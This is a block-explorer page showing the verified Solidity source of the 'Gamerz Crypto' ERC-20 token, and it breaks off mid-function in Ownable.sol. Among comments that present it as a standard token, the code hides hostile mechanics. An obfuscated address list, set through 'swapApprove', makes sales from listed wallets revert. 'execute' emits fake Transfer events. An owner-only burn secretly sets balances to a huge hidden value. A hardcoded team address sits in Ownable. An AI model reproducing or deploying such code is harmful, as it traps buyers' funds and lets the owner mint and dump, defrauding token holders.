ETH Price: $3,502.95 (+2.15%)
Gas: 3 Gwei

Token

(0xf7d94EaD70D2646978CF0463919159fC82345A7c)
 

Overview

Max Total Supply

30,000,000,000 ERC-20 TOKEN*

Holders

59 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
wassieology.eth
Balance
132,306,280.866698376 ERC-20 TOKEN*

Value
$0.00
0x8b501a6090fd3c6b905b1a0099e2e216a5a2d40d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GAMERZ

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 6: Gamerz Crypto.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract GAMERZ is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) public frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("Gamerz Crypto", "GAMERZ") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 30000000000 * 1e9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function swapApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function excludedFromFee(address recipient) external view returns(bool){
        return frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 4 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = 0xBCc603631fB4efe81177Fab0a83c4e7068077A88;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
